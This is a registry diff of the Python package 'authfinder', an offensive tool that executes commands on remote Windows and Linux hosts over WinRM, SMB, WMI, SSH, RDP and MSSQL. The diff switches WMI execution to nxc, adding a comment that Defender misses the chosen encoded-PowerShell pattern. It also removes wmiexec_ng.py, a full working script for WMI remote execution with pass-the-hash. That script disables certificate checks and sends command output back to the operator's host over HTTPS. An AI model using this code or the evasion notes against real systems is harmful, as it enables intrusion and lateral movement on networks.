authfinder 1.2.1__tar.gz → 1.2.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {authfinder-1.2.1 → authfinder-1.2.2}/PKG-INFO +1 -1
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder/__init__.py +1 -1
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder/authfinder.py +8 -8
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/PKG-INFO +1 -1
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/SOURCES.txt +0 -1
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/entry_points.txt +0 -1
- {authfinder-1.2.1 → authfinder-1.2.2}/pyproject.toml +1 -2
- authfinder-1.2.1/authfinder/wmiexec_ng.py +0 -319
- {authfinder-1.2.1 → authfinder-1.2.2}/LICENSE +0 -0
- {authfinder-1.2.1 → authfinder-1.2.2}/README.md +0 -0
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/dependency_links.txt +0 -0
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/requires.txt +0 -0
- {authfinder-1.2.1 → authfinder-1.2.2}/authfinder.egg-info/top_level.txt +0 -0
- {authfinder-1.2.1 → authfinder-1.2.2}/setup.cfg +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: authfinder
|
|
3
|
-
Version: 1.2.
|
|
3
|
+
Version: 1.2.2
|
|
4
4
|
Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
|
|
5
5
|
Author: Khael
|
|
6
6
|
Project-URL: Homepage, https://github.com/KhaelK138/authfinder
|
|
@@ -22,7 +22,7 @@ TOOLS_SPECIFIED = False
|
|
|
22
22
|
LINUX_MODE = False
|
|
23
23
|
|
|
24
24
|
VALID_TOOLS = ["winrm", "smbexec", "wmi", "ssh", "mssql", "psexec", "atexec", "rdp"]
|
|
25
|
-
NXC_TOOLS = {"smbexec", "ssh", "rdp"}
|
|
25
|
+
NXC_TOOLS = {"smbexec", "ssh", "wmi", "rdp"}
|
|
26
26
|
|
|
27
27
|
IMPACKET_PREFIX = "impacket-" # or "" for .py suffix
|
|
28
28
|
NXC_CMD = "nxc"
|
|
@@ -210,13 +210,6 @@ def build_cmd(tool, user, target, credential, command, use_hash=False):
|
|
|
210
210
|
return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
|
|
211
211
|
if use_hash else
|
|
212
212
|
f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
|
|
213
|
-
|
|
214
|
-
if tool == "wmi":
|
|
215
|
-
# Use wmiexec-ng for WMI execution (uses HTTPS callback for output retrieval)
|
|
216
|
-
output_flag = " -o" if OUTPUT else ""
|
|
217
|
-
return (f"wmiexec-ng {target} -u \"{user}\" -H {hash_val} -x 'powershell -enc {b64}'{output_flag}"
|
|
218
|
-
if use_hash else
|
|
219
|
-
f"wmiexec-ng {target} -u \"{user}\" -p {credential} -x 'powershell -enc {b64}'{output_flag}")
|
|
220
213
|
|
|
221
214
|
# winrm handling - both regular and SSL variants
|
|
222
215
|
# yes I know nxc has a winrm module which can oneshot commands, but evil-winrm has proved itself more dependable
|
|
@@ -236,6 +229,13 @@ def build_cmd(tool, user, target, credential, command, use_hash=False):
|
|
|
236
229
|
if use_hash else
|
|
237
230
|
f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
|
|
238
231
|
|
|
232
|
+
if tool == "wmi":
|
|
233
|
+
# we don't actually need to pass the --no-output here, as defender won't catch it with this specific `cmd /c "powershell -enc` combo
|
|
234
|
+
# additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution for wmi specifically
|
|
235
|
+
return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'"
|
|
236
|
+
if use_hash else
|
|
237
|
+
f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'")
|
|
238
|
+
|
|
239
239
|
if tool == "ssh":
|
|
240
240
|
if LINUX_MODE:
|
|
241
241
|
b64 = base64.b64encode(command.encode("utf-8")).decode()
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: authfinder
|
|
3
|
-
Version: 1.2.
|
|
3
|
+
Version: 1.2.2
|
|
4
4
|
Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
|
|
5
5
|
Author: Khael
|
|
6
6
|
Project-URL: Homepage, https://github.com/KhaelK138/authfinder
|
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "authfinder"
|
|
7
|
-
version = "1.2.
|
|
7
|
+
version = "1.2.2"
|
|
8
8
|
description = "Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
authors = [
|
|
@@ -37,7 +37,6 @@ dev = [
|
|
|
37
37
|
|
|
38
38
|
[project.scripts]
|
|
39
39
|
authfinder = "authfinder.authfinder:main"
|
|
40
|
-
wmiexec-ng = "authfinder.wmiexec_ng:main"
|
|
41
40
|
|
|
42
41
|
[project.urls]
|
|
43
42
|
Homepage = "https://github.com/KhaelK138/authfinder"
|
|
@@ -1,319 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env python3
|
|
2
|
-
"""
|
|
3
|
-
WMI process execution with HTTPS-based output retrieval.
|
|
4
|
-
Requires: pip install impacket
|
|
5
|
-
"""
|
|
6
|
-
|
|
7
|
-
import sys
|
|
8
|
-
import os
|
|
9
|
-
import ssl
|
|
10
|
-
import uuid
|
|
11
|
-
import socket
|
|
12
|
-
import random
|
|
13
|
-
import argparse
|
|
14
|
-
import tempfile
|
|
15
|
-
import threading
|
|
16
|
-
import subprocess
|
|
17
|
-
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
18
|
-
from impacket.dcerpc.v5.dcom import wmi
|
|
19
|
-
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
20
|
-
from impacket.dcerpc.v5.dtypes import NULL
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
# Globals for server coordination
|
|
24
|
-
output_received = threading.Event()
|
|
25
|
-
output_data = b""
|
|
26
|
-
verbose = False
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
def log(msg: str):
|
|
30
|
-
"""Print message only if verbose mode is enabled."""
|
|
31
|
-
if verbose:
|
|
32
|
-
print(msg)
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
def get_local_ip(target: str) -> str:
|
|
36
|
-
"""Get the local IP address used to reach a target."""
|
|
37
|
-
try:
|
|
38
|
-
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
39
|
-
s.connect((target, 80))
|
|
40
|
-
local_ip = s.getsockname()[0]
|
|
41
|
-
s.close()
|
|
42
|
-
return local_ip
|
|
43
|
-
except Exception:
|
|
44
|
-
return "127.0.0.1"
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
def find_available_port(start: int = 10000, end: int = 30000) -> int:
|
|
48
|
-
"""Find an available port in the given range, retrying every second."""
|
|
49
|
-
while True:
|
|
50
|
-
port = random.randint(start, end)
|
|
51
|
-
try:
|
|
52
|
-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
53
|
-
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
54
|
-
s.bind(("0.0.0.0", port))
|
|
55
|
-
s.close()
|
|
56
|
-
log(f"[*] Found available port: {port}")
|
|
57
|
-
return port
|
|
58
|
-
except OSError:
|
|
59
|
-
log(f"[*] Port {port} unavailable, retrying...")
|
|
60
|
-
import time
|
|
61
|
-
time.sleep(1)
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
def generate_ssl_cert(cert_file: str, key_file: str):
|
|
65
|
-
"""Generate a self-signed SSL certificate using openssl."""
|
|
66
|
-
log("[*] Generating SSL certificate...")
|
|
67
|
-
cmd = [
|
|
68
|
-
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
69
|
-
"-keyout", key_file,
|
|
70
|
-
"-out", cert_file,
|
|
71
|
-
"-days", "1", "-nodes",
|
|
72
|
-
"-subj", "/CN=localhost"
|
|
73
|
-
]
|
|
74
|
-
try:
|
|
75
|
-
subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
76
|
-
log("[*] SSL certificate generated")
|
|
77
|
-
except subprocess.CalledProcessError:
|
|
78
|
-
print("[!] Failed to generate SSL certificate (is openssl installed?)")
|
|
79
|
-
sys.exit(1)
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
class OutputHandler(BaseHTTPRequestHandler):
|
|
83
|
-
"""HTTP handler for receiving command output via POST."""
|
|
84
|
-
|
|
85
|
-
def do_POST(self):
|
|
86
|
-
global output_data
|
|
87
|
-
try:
|
|
88
|
-
content_length = int(self.headers.get("Content-Length", 0))
|
|
89
|
-
output_data = self.rfile.read(content_length)
|
|
90
|
-
self.send_response(200)
|
|
91
|
-
self.end_headers()
|
|
92
|
-
self.wfile.write(b"OK")
|
|
93
|
-
output_received.set()
|
|
94
|
-
except Exception as e:
|
|
95
|
-
log(f"[!] Error receiving output: {e}")
|
|
96
|
-
self.send_response(500)
|
|
97
|
-
self.end_headers()
|
|
98
|
-
|
|
99
|
-
def log_message(self, format, *args):
|
|
100
|
-
if verbose:
|
|
101
|
-
super().log_message(format, *args)
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
def start_https_server(port: int, cert_file: str, key_file: str) -> HTTPServer:
|
|
105
|
-
"""Start HTTPS server for receiving output."""
|
|
106
|
-
server = HTTPServer(("0.0.0.0", port), OutputHandler)
|
|
107
|
-
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
108
|
-
context.load_cert_chain(cert_file, key_file)
|
|
109
|
-
server.socket = context.wrap_socket(server.socket, server_side=True)
|
|
110
|
-
return server
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
def build_powershell_command(command: str, output_file: str, server_url: str) -> str:
|
|
114
|
-
"""Build the PowerShell script that executes command and uploads output."""
|
|
115
|
-
import base64
|
|
116
|
-
|
|
117
|
-
# Base64 encode the user's command (UTF-16LE for PowerShell -enc)
|
|
118
|
-
user_cmd_encoded = base64.b64encode(command.encode("utf-16-le")).decode("ascii")
|
|
119
|
-
|
|
120
|
-
# PowerShell script with TLS cert bypass
|
|
121
|
-
# Executes user command via -enc, captures output, uploads via HTTPS
|
|
122
|
-
ps_script = f'''
|
|
123
|
-
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
124
|
-
Add-Type @"
|
|
125
|
-
using System.Net;
|
|
126
|
-
using System.Security.Cryptography.X509Certificates;
|
|
127
|
-
public class TrustAllCertsPolicy : ICertificatePolicy {{
|
|
128
|
-
public bool CheckValidationResult(
|
|
129
|
-
ServicePoint srvPoint, X509Certificate certificate,
|
|
130
|
-
WebRequest request, int certificateProblem) {{
|
|
131
|
-
return true;
|
|
132
|
-
}}
|
|
133
|
-
}}
|
|
134
|
-
"@
|
|
135
|
-
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
|
136
|
-
|
|
137
|
-
powershell.exe -enc {user_cmd_encoded} | Out-File -FilePath "{output_file}" -Encoding UTF8
|
|
138
|
-
$bytes = [System.IO.File]::ReadAllBytes("{output_file}")
|
|
139
|
-
Invoke-WebRequest -Uri "{server_url}" -Method POST -Body $bytes -UseBasicParsing | Out-Null
|
|
140
|
-
Remove-Item -Path "{output_file}" -Force
|
|
141
|
-
'''
|
|
142
|
-
# Encode wrapper script as base64 for safe transport
|
|
143
|
-
encoded = base64.b64encode(ps_script.encode("utf-16-le")).decode("ascii")
|
|
144
|
-
return f'powershell.exe -EncodedCommand {encoded}'
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
def wmi_exec(target: str, username: str, password: str, command: str,
|
|
148
|
-
domain: str = "", hashes: str = "", get_output: bool = False,
|
|
149
|
-
timeout: int = 30) -> str | None:
|
|
150
|
-
"""
|
|
151
|
-
Execute a command via WMI.
|
|
152
|
-
|
|
153
|
-
Args:
|
|
154
|
-
target: Target IP or hostname
|
|
155
|
-
username: Username for authentication
|
|
156
|
-
password: Password for authentication
|
|
157
|
-
command: Command to execute
|
|
158
|
-
domain: Domain (optional)
|
|
159
|
-
hashes: NTLM hashes in LMHASH:NTHASH format (optional, for pass-the-hash)
|
|
160
|
-
get_output: Whether to retrieve command output via HTTPS
|
|
161
|
-
timeout: Timeout in seconds for output retrieval
|
|
162
|
-
|
|
163
|
-
Returns:
|
|
164
|
-
Command output if get_output=True, None otherwise
|
|
165
|
-
"""
|
|
166
|
-
global output_data, output_received
|
|
167
|
-
|
|
168
|
-
# Parse hashes if provided
|
|
169
|
-
lmhash = ""
|
|
170
|
-
nthash = ""
|
|
171
|
-
if hashes:
|
|
172
|
-
if ":" in hashes:
|
|
173
|
-
lmhash, nthash = hashes.split(":", 1)
|
|
174
|
-
else:
|
|
175
|
-
# Assume it's just the NT hash
|
|
176
|
-
nthash = hashes
|
|
177
|
-
|
|
178
|
-
# Reset globals
|
|
179
|
-
output_data = b""
|
|
180
|
-
output_received.clear()
|
|
181
|
-
|
|
182
|
-
server = None
|
|
183
|
-
server_thread = None
|
|
184
|
-
temp_dir = None
|
|
185
|
-
|
|
186
|
-
try:
|
|
187
|
-
if get_output:
|
|
188
|
-
# Setup HTTPS server for output retrieval
|
|
189
|
-
temp_dir = tempfile.mkdtemp()
|
|
190
|
-
cert_file = os.path.join(temp_dir, "cert.pem")
|
|
191
|
-
key_file = os.path.join(temp_dir, "key.pem")
|
|
192
|
-
|
|
193
|
-
generate_ssl_cert(cert_file, key_file)
|
|
194
|
-
|
|
195
|
-
port = find_available_port()
|
|
196
|
-
local_ip = get_local_ip(target)
|
|
197
|
-
server_url = f"https://{local_ip}:{port}/"
|
|
198
|
-
|
|
199
|
-
log(f"[*] Starting HTTPS server on {local_ip}:{port}")
|
|
200
|
-
server = start_https_server(port, cert_file, key_file)
|
|
201
|
-
|
|
202
|
-
# Run server in background thread
|
|
203
|
-
server_thread = threading.Thread(target=server.handle_request, daemon=True)
|
|
204
|
-
server_thread.start()
|
|
205
|
-
|
|
206
|
-
# Build PowerShell command with output upload
|
|
207
|
-
output_file = f"C:\\Windows\\Temp\\{uuid.uuid4()}.txt"
|
|
208
|
-
full_command = build_powershell_command(command, output_file, server_url)
|
|
209
|
-
log(f"[*] Output will be uploaded to {server_url}")
|
|
210
|
-
else:
|
|
211
|
-
full_command = command
|
|
212
|
-
|
|
213
|
-
# Connect via DCOM
|
|
214
|
-
log(f"[*] Connecting to {target}...")
|
|
215
|
-
dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
|
|
216
|
-
|
|
217
|
-
try:
|
|
218
|
-
# Get WMI interface
|
|
219
|
-
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
|
220
|
-
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
221
|
-
|
|
222
|
-
# Login to namespace
|
|
223
|
-
iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
|
224
|
-
iWbemLevel1Login.RemRelease()
|
|
225
|
-
|
|
226
|
-
# Get Win32_Process class
|
|
227
|
-
win32_process, _ = iWbemServices.GetObject("Win32_Process")
|
|
228
|
-
|
|
229
|
-
# Call Create method
|
|
230
|
-
log(f"[*] Executing command...")
|
|
231
|
-
win32_process.Create(full_command, "C:\\", None)
|
|
232
|
-
|
|
233
|
-
if not get_output:
|
|
234
|
-
print(f"[+] Executed: {command}")
|
|
235
|
-
return None
|
|
236
|
-
|
|
237
|
-
finally:
|
|
238
|
-
dcom.disconnect()
|
|
239
|
-
|
|
240
|
-
# Wait for output
|
|
241
|
-
if get_output:
|
|
242
|
-
log(f"[*] Waiting for output (timeout: {timeout}s)...")
|
|
243
|
-
if output_received.wait(timeout=timeout):
|
|
244
|
-
result = output_data.decode("utf-8", errors="replace")
|
|
245
|
-
# Strip BOM and whitespace
|
|
246
|
-
result = result.lstrip("\ufeff").strip()
|
|
247
|
-
print(result)
|
|
248
|
-
return result
|
|
249
|
-
else:
|
|
250
|
-
print("[!] Timeout waiting for output")
|
|
251
|
-
return None
|
|
252
|
-
|
|
253
|
-
finally:
|
|
254
|
-
# Cleanup
|
|
255
|
-
if server:
|
|
256
|
-
server.server_close()
|
|
257
|
-
if temp_dir:
|
|
258
|
-
import shutil
|
|
259
|
-
shutil.rmtree(temp_dir, ignore_errors=True)
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
def main():
|
|
263
|
-
global verbose
|
|
264
|
-
|
|
265
|
-
parser = argparse.ArgumentParser(
|
|
266
|
-
description="WMI remote command execution with optional output retrieval",
|
|
267
|
-
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
268
|
-
epilog="""
|
|
269
|
-
Examples:
|
|
270
|
-
# Execute with password
|
|
271
|
-
%(prog)s 192.168.1.10 -u Administrator -p 'password' -x 'whoami' -o
|
|
272
|
-
|
|
273
|
-
# Pass-the-hash
|
|
274
|
-
%(prog)s 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'whoami' -o
|
|
275
|
-
|
|
276
|
-
# Blank password (if neither -p nor -H supplied)
|
|
277
|
-
%(prog)s 192.168.1.10 -u Administrator -x 'whoami' -o
|
|
278
|
-
|
|
279
|
-
# With domain
|
|
280
|
-
%(prog)s 192.168.1.10 -u Administrator -p 'password' -d MYDOMAIN -x 'whoami' -o
|
|
281
|
-
"""
|
|
282
|
-
)
|
|
283
|
-
|
|
284
|
-
parser.add_argument("target", help="Target IP or hostname")
|
|
285
|
-
parser.add_argument("-u", "--username", required=True, help="Username")
|
|
286
|
-
parser.add_argument("-p", "--password", default="", help="Password")
|
|
287
|
-
parser.add_argument("-H", "--hashes", metavar="[LMHASH:]NTHASH",
|
|
288
|
-
help="NTLM hashes for pass-the-hash")
|
|
289
|
-
parser.add_argument("-d", "--domain", default="", help="Domain")
|
|
290
|
-
parser.add_argument("-x", "--execute", required=True, metavar="CMD",
|
|
291
|
-
help="Command to execute")
|
|
292
|
-
parser.add_argument("-o", "--output", action="store_true",
|
|
293
|
-
help="Retrieve command output via HTTPS callback")
|
|
294
|
-
parser.add_argument("-t", "--timeout", type=int, default=30,
|
|
295
|
-
help="Timeout for output retrieval (default: 30s)")
|
|
296
|
-
parser.add_argument("-v", "--verbose", action="store_true",
|
|
297
|
-
help="Show verbose output (HTTPS server activity, etc.)")
|
|
298
|
-
|
|
299
|
-
args = parser.parse_args()
|
|
300
|
-
verbose = args.verbose
|
|
301
|
-
|
|
302
|
-
# Use blank password if neither -p nor -H supplied
|
|
303
|
-
password = args.password
|
|
304
|
-
hashes = args.hashes or ""
|
|
305
|
-
|
|
306
|
-
wmi_exec(
|
|
307
|
-
target=args.target,
|
|
308
|
-
username=args.username,
|
|
309
|
-
password=password,
|
|
310
|
-
command=args.execute,
|
|
311
|
-
domain=args.domain,
|
|
312
|
-
hashes=hashes,
|
|
313
|
-
get_output=args.output,
|
|
314
|
-
timeout=args.timeout
|
|
315
|
-
)
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
if __name__ == "__main__":
|
|
319
|
-
main()
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|